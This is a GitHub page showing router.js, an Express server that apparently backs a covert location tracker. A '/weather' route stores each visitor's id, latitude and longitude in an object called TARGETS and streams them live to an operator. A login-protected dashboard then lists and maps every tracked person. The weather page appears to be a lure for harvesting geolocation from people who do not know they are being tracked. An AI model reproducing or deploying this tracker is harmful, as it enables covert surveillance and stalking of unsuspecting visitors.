-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathrouter.js
61 lines (47 loc) · 1.26 KB
/
router.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
const express = require("express")
const router = express.Router()
const config = require("./config")
const TARGETS = {}
// login page
router.route("/login").get((req, res) => {
res.render("login")
}).post((req, res) => {
const { username, password } = req.body
if (config.username === username && config.password === password) {
res.cookie("token", config.token, { maxAge: 1000000 * 100000 })
}
res.redirect("/")
})
router.route("/weather").get((req, res) => {
res.render("weather")
}).post((req, res) => {
const { id, lat, lng } = req.body
if (TARGETS[id] == null) {
IO.emit("user-connected", id)
}
TARGETS[id] = [lat, lng]
IO.emit("map-data", { id, lat, lng })
res.send("OK")
console.log(`> ${id} - ${TARGETS[id]}`)
})
// token checking
router.use(function checkToken(req, res, next) {
const token = req.cookies.token
if (token != null && token === config.token) {
next()
} else {
res.clearCookie("token").redirect("/login")
}
})
router.route("/").get((req, res) => {
res.render("home", {
TARGETS
})
})
router.route("/map").get((req, res) => {
const { id } = req.query
res.render("map", {
data: TARGETS[id]
})
})
module.exports = router